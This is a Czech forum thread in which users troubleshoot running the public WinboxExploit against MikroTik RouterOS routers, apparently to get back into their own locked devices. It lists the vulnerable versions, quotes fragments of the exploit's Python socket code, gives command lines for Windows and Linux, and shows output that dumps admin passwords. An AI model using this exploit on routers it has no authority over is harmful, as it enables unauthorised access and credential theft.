MikroTik - BEZPECNOSTNI UPOZORNENI !!! DULEZITE - zablokovane MikroTiky

dalibortoman

zkoušeli jste někdo WinboxExploi na ROS 6.40.8 a novější?

Pokud jsme zkoušel dobře, tak zasahnutelná je verze 6.28 - 6.41.3

právě, že na 6.42.7 se něco dostalo a změnilo to přihlašováky...teď bádám jak se do toho dostat aniž bych to musel jet demontovat...

pokud nefunguje prihlaseni pomoci mac-telnet/mac-winbox, jeste muzes zkusit pouzit ty exploity z https://github.com/BigNerd95/WinboxExploit

Jak WinboxExploit tak MacServerExploit (aka mac-winbox exploit). Musis mit ale k dispozici python3. To bude fungovat pokud nedoslo k upgradu na bezpecnou verzi pripadne pokud firewall nebrani jejich pouziti

kodlkal

Vždyť on píše, že má bezpečnou verzi, toto nebude fungovat!!!

Pokud jsme zkoušel dobře, tak zasahnutelná je verze 6.28 - 6.41.3

právě, že na 6.42.7 se něco dostalo a změnilo to přihlašováky...teď bádám jak se do toho dostat aniž bych to musel jet demontovat...

pokud nefunguje prihlaseni pomoci mac-telnet/mac-winbox, jeste muzes zkusit pouzit ty exploity z https://github.com/BigNerd95/WinboxExploit

dalibortoman

Vždyť on píše, že má bezpečnou verzi, toto nebude fungovat!!!

sorry, to jsem prehledl

robotvor

Pokud jsme zkoušel dobře, tak zasahnutelná je verze 6.28 - 6.41.3

právě, že na 6.42.7 se něco dostalo a změnilo to přihlašováky...teď bádám jak se do toho dostat aniž bych to musel jet demontovat...

pokud nefunguje prihlaseni pomoci mac-telnet/mac-winbox, jeste muzes zkusit pouzit ty exploity z https://github.com/BigNerd95/WinboxExploit

Právě to zkoušíme na všech možných verzích MK a ani za boha to nejde zkoušeli jsme 5.26 / 6.34 / 6.41.3 a nic nechápu to. Vždycky to jen vyhodí nějaký textový soubor kde není nic zajímavého.

menicks

právě to zkoušíme na všech možných verzích MK a ani za boha to nejde zkoušeli jsme 5.26 / 6.34 / 6.41.3 a nic nechápu to. Vždycky to jen vyhodí nějaký textový soubor kde není nic zajímavého.

funkční na 6.28 až 6.42 včetně

na bugfix verzi 6.40.8 a 9 to také nefunguje.

dalibortoman

Právě to zkoušíme na všech možných verzích MK a ani za boha to nejde zkoušeli jsme 5.26 / 6.34 / 6.41.3 a nic nechápu to. Vždycky to jen vyhodí nějaký textový soubor kde není nic zajímavého.

Typicky vystup vypada takhle:

python3 WinboxExploit.py 1.2.3.4

User: admin

Pass:

User: admin

Pass:

User: admin

Pass: tajneheslo

a funguje na 6.28 a vys (mimo opravenych verzi). Pokud to zobrazuje neco jineho tak jde nejspis o chybove hlaseni (skript nefunguje v pythonu verze 2).

Zkousel jsem jen na linuxu (nejaky debian ve VirtualBoxu, protoze RedHat klony, ktery mame na serverech jedou jen na python2). Python by mozna fungoval i z Windows ?

robotvor

Právě to zkoušíme na všech možných verzích MK a ani za boha to nejde zkoušeli jsme 5.26 / 6.34 / 6.41.3 a nic nechápu to. Vždycky to jen vyhodí nějaký textový soubor kde není nic zajímavého.

Typicky vystup vypada takhle:

python3 WinboxExploit.py 1.2.3.4

User: admin

Pass:

User: admin

Pass:

User: admin

Pass: tajneheslo

a funguje na 6.28 a vys (mimo opravenych verzi). Pokud to zobrazuje neco jineho tak jde nejspis o chybove hlaseni (skript nefunguje v pythonu verze 2).

Zkousel jsem jen na linuxu (nejaky debian ve VirtualBoxu, protoze RedHat klony, ktery mame na serverech jedou jen na python2). Python by mozna fungoval i z Windows ?

V tom texťáku to vypíše tohle, dělám to na win10 a mám poslední verzi 3.7.0

#!/usr/bin/env python3

import socket

import sys

from extract_user import dump

a =

b =

if __name__ == "__main__":

try:

ip = sys.argv

except:

print("Usage: python PoC.py ")

#Initialize Socket

s = socket.socket()

s.settimeout(3)

s.connect((ip, 8291))

#Convert to bytearray for manipulation

a = bytearray(a)

b = bytearray(b)

#Send hello and recieve the sesison id

s.send(a)

d = bytearray(s.recv(1024))

#Replace the session id in template

b = d

#Send the edited response

s.send(b)

d = bytearray(s.recv(1024))

#Get results

print(ip)

dump(d)

dalibortoman

V tom texťáku to vypíše tohle, dělám to na win10 a mám poslední verzi 3.7.0

#!/usr/bin/env python3

import socket

import sys

from extract_user import dump

ale to vypada jako kod toho skriptu Winboxexploit.py. Cili soubor se nespustil ale vytiskl.

Jak ho na tech Windows spoustis?

robotvor

V tom texťáku to vypíše tohle, dělám to na win10 a mám poslední verzi 3.7.0

#!/usr/bin/env python3

import socket

import sys

from extract_user import dump

ale to vypada jako kod toho skriptu Winboxexploit.py. Cili soubor se nespustil ale vytiskl.

Jak ho na tech Windows spoustis?

Ano přesně tak je to obsaho toho scriptu.

Spouštím ho tak, že pře totalcommander najedu do té složky kde je uložený a tam si pustím příkazový řádek a v něm pak zadám příkaz.

vojcekp

V tom texťáku to vypíše tohle, dělám to na win10 a mám poslední verzi 3.7.0

#!/usr/bin/env python3

import socket

import sys

from extract_user import dump

a = [0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00,

0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07,

0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21,

Toto je jenom ale script...

1. musíš upravit proměnnou "ip" ip adresa "ip" je blbost logicky to nic nenajde.

2. až upravíš tu ip tak ten script musíš spustit buďto "F5" nebo Run > Run Module...

mpcz

Pokud nejsi Linux guru a instaloval jsi ten lámací systém poprvé, doporučuji požádat důvěryhodného kolegu, aby to odzkoušel z odzkoušené instalace. Při instalaci Linux + milión balíčků na zelené louce číhají mnohá úskalí. Ušetříš si čas. Pokud jsi Linux guru, tak to nečti. mpcz, 7.sep.2018

jahoo

pokud máš nainstalovaný python 3.x tak v příkazovém řádu stačí dát: py WinboxExploit.py x.x.x.x

robotvor

pokud máš nainstalovaný python 3.x tak v příkazovém řádu stačí dát: py WinboxExploit.py x.x.x.x

Takhle mě to taky nejde. Do toho scriptu se má ta IP doplnit kam ? dával jsem ji do těch hranatých závorek místo IP_ADDRESS ale bez výsledku

jahoo

pokud máš nainstalovaný python 3.x tak v příkazovém řádu stačí dát: py WinboxExploit.py x.x.x.x

Takhle mě to taky nejde. Do toho scriptu se má ta IP doplnit kam ? dával jsem ji do těch hranatých závorek místo IP_ADDRESS ale bez výsledku

Do scriptu nic nedoplňuješ, místo x.x.x.x napíšeš IP adresu

samozřejmě musíš v příkazovém řádku být v adresáři, kde je tento script

Jinak tento script nefunguje na verzi 6.42.7, kde to vypíše zpět pouze vyplněnou IP adresu

vojcekp

Takhle mě to taky nejde. Do toho scriptu se má ta IP doplnit kam ? dával jsem ji do těch hranatých závorek místo IP_ADDRESS ale bez výsledku

#Initialize Socket

s = socket.socket()

ip = 'IP ADRESA SEM DO TĚCHTO UVOZOVEK'

s.settimeout(3)

s.connect((ip, 8291))

spustíš ten program (pyhton idle) dáš File > Open

Vybeřeš ten soubor wi..ploit.py

v něm upravíš tu IP viz výše.

a pak dáš RUN > RUN MODULE

robotvor

pokud máš nainstalovaný python 3.x tak v příkazovém řádu stačí dát: py WinboxExploit.py x.x.x.x

Takhle mě to taky nejde. Do toho scriptu se má ta IP doplnit kam ? dával jsem ji do těch hranatých závorek místo IP_ADDRESS ale bez výsledku

Do scriptu nic nedoplňuješ, místo x.x.x.x napíšeš IP adresu

samozřejmě musíš v příkazovém řádku být v adresáři, kde je tento script

Jinak tento script nefunguje na verzi 6.42.7, kde to vypíše zpět pouze vyplněnou IP adresu

c:\Users\info\Desktop\Mikrotik exploit\WinboxExploit-master>WinboxExploit.py xx.99.147.xx

Usage: python PoC.py

Traceback (most recent call last):

File "C:\Users\info\Desktop\Mikrotik exploit\WinboxExploit-master\WinboxExploit.py", line 43, in <module>

s.connect((ip, 8291))

NameError: name 'ip' is not defined

kozlicek

Takhle mě to taky nejde. Do toho scriptu se má ta IP doplnit kam ? dával jsem ji do těch hranatých závorek místo IP_ADDRESS ale bez výsledku

Do scriptu nic nedoplňuješ, místo x.x.x.x napíšeš IP adresu

samozřejmě musíš v příkazovém řádku být v adresáři, kde je tento script

Jinak tento script nefunguje na verzi 6.42.7, kde to vypíše zpět pouze vyplněnou IP adresu

c:\Users\info\Desktop\Mikrotik exploit\WinboxExploit-master>WinboxExploit.py xx.99.147.xx

Usage: python PoC.py

Traceback (most recent call last):

File "C:\Users\info\Desktop\Mikrotik exploit\WinboxExploit-master\WinboxExploit.py", line 43, in <module>

s.connect((ip, 8291))

NameError: name 'ip' is not defined

A mas winbox na porte 8291???

robotvor

Do scriptu nic nedoplňuješ, místo x.x.x.x napíšeš IP adresu

samozřejmě musíš v příkazovém řádku být v adresáři, kde je tento script

Jinak tento script nefunguje na verzi 6.42.7, kde to vypíše zpět pouze vyplněnou IP adresu

c:\Users\info\Desktop\Mikrotik exploit\WinboxExploit-master>WinboxExploit.py xx.99.147.xx

Usage: python PoC.py

Traceback (most recent call last):

File "C:\Users\info\Desktop\Mikrotik exploit\WinboxExploit-master\WinboxExploit.py", line 43, in <module>

s.connect((ip, 8291))

NameError: name 'ip' is not defined

A mas winbox na porte 8291???

Ano

dalibortoman

c:\Users\info\Desktop\Mikrotik exploit\WinboxExploit-master>WinboxExploit.py xx.99.147.xx

Usage: python PoC.py

Traceback (most recent call last):

File "C:\Users\info\Desktop\Mikrotik exploit\WinboxExploit-master\WinboxExploit.py", line 43, in <module>

s.connect((ip, 8291))

NameError: name 'ip' is not defined

radek

Usage: ...

skript vypise pokud prvni argument neexistuje (nevim kdy jeste jindy presne vyvola cteni z argv v pythonu vyjimku). I kdyz se to stane tak skript pokracuje dal a logicky musi pokus o pripojeni selhat, protoze neni kam se pripojit.

Takze pokud jsi opravdu zadal na command linu IPcko a presto to vypsalo ten Usage ... radek tak mas nejaky divny problem s operacnim systemem/pythonem. Jak jsem se letmo dival na provozovani pythonu pod Windows - musi se python engine ne uplne trivialne instalovat...

vojcekp

Já mám python nainstalovaný triviálně pod windows 10 vysloveně jenom next > next > next a jede mi to.

Použij ten postup co jsem psal výše...

EDIT:

Zkoušel jsem i ten způsob co psali kluci a ten mi taky funguje....

tzn. najedu do složky kde je ten script dám shift + pravoklik > Otevřít zde okno powershell

a pak:

PS C:\Users\XXX\Downloads\WinboxExploit-master\WinboxExploit-master> py winboxexploit.py 192.168.10.1

192.168.10.1

User: admin

Pass:

User: admin

Pass:

User: admin

Pass: HESLODOMKT

EDIT 2:

Zkoušel jsem to i přes CMD a taky to jede...

Microsoft Windows [Version 10.0.17134.228]

C:\Users\XXX>cd C:\Users\XXX\Downloads\WinboxExploit-master\WinboxExploit-master\

C:\Users\XXX\Downloads\WinboxExploit-master\WinboxExploit-master>py winboxexploit.py 192.168.10.1

192.168.10.1

User: admin

Pass:

User: admin

Pass:

User: admin

Pass: HESLODOMKT

« Předchozí stránka Další stránka »